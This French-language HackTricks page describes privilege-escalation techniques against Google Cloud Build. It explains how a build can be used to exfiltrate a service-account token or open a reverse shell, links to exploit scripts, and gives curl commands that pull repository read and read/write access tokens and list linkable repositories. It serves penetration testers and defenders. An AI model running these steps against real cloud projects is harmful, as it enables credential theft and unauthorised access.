GCP - Cloudbuild Privesc

Support HackTricks

cloudbuild

Pour plus d'informations sur Cloud Build, consultez :

GCP - Cloud Build Enum

cloudbuild.builds.create

Avec cette permission, vous pouvez soumettre un cloud build. La machine cloudbuild aura dans son système de fichiers par défaut un token du Service Account cloudbuild : <PROJECT_NUMBER>@cloudbuild.gserviceaccount.com. Cependant, vous pouvez indiquer n'importe quel service account à l'intérieur du projet dans la configuration cloudbuild. Par conséquent, vous pouvez simplement faire exfiltrer le token vers votre serveur ou obtenir un reverse shell à l'intérieur et récupérer le token (le fichier contenant le token peut changer).

Vous pouvez trouver le script d'exploit original ici sur GitHub (mais l'emplacement d'où il prend le token n'a pas fonctionné pour moi). Par conséquent, consultez un script pour automatiser la création, l'exploitation et le nettoyage d'un environnement vulnérable ici et un script python pour obtenir un reverse shell à l'intérieur de la machine cloudbuild et le voler ici (dans le code, vous pouvez trouver comment spécifier d'autres service accounts).

Pour une explication plus approfondie, visitez https://rhinosecuritylabs.com/gcp/iam-privilege-escalation-gcp-cloudbuild/

cloudbuild.builds.update

Potentiellement, avec cette permission, vous serez en mesure de mettre à jour un cloud build et simplement voler le token du service account comme cela a été effectué avec la permission précédente (mais malheureusement, au moment de la rédaction de ce document, je n'ai pas pu trouver de moyen d'appeler cette API).

TODO

cloudbuild.repositories.accessReadToken

Avec cette permission, l'utilisateur peut obtenir le token d'accès en lecture utilisé pour accéder au dépôt :

curl -X POST \
-H "Authorization: Bearer $(gcloud auth print-access-token)" \
-H "Content-Type: application/json" \
-d '{}' \
"https://cloudbuild.googleapis.com/v2/projects/<PROJECT_ID>/locations/<LOCATION>/connections/<CONN_ID>/repositories/<repo-id>:accessReadToken"

cloudbuild.repositories.accessReadWriteToken

Avec cette autorisation, l'utilisateur peut obtenir le jeton d'accès en lecture et écriture utilisé pour accéder au dépôt :

curl -X POST \
-H "Authorization: Bearer $(gcloud auth print-access-token)" \
-H "Content-Type: application/json" \
-d '{}' \
"https://cloudbuild.googleapis.com/v2/projects/<PROJECT_ID>/locations/<LOCATION>/connections/<CONN_ID>/repositories/<repo-id>:accessReadWriteToken"

cloudbuild.connections.fetchLinkableRepositories

Avec cette autorisation, vous pouvez obtenir les dépôts auxquels la connexion a accès :

curl -X GET \
-H "Authorization: Bearer $(gcloud auth print-access-token)" \
"https://cloudbuild.googleapis.com/v2/projects/<PROJECT_ID>/locations/<LOCATION>/connections/<CONN_ID>:fetchLinkableRepositories"
Soutenir HackTricks

Last updated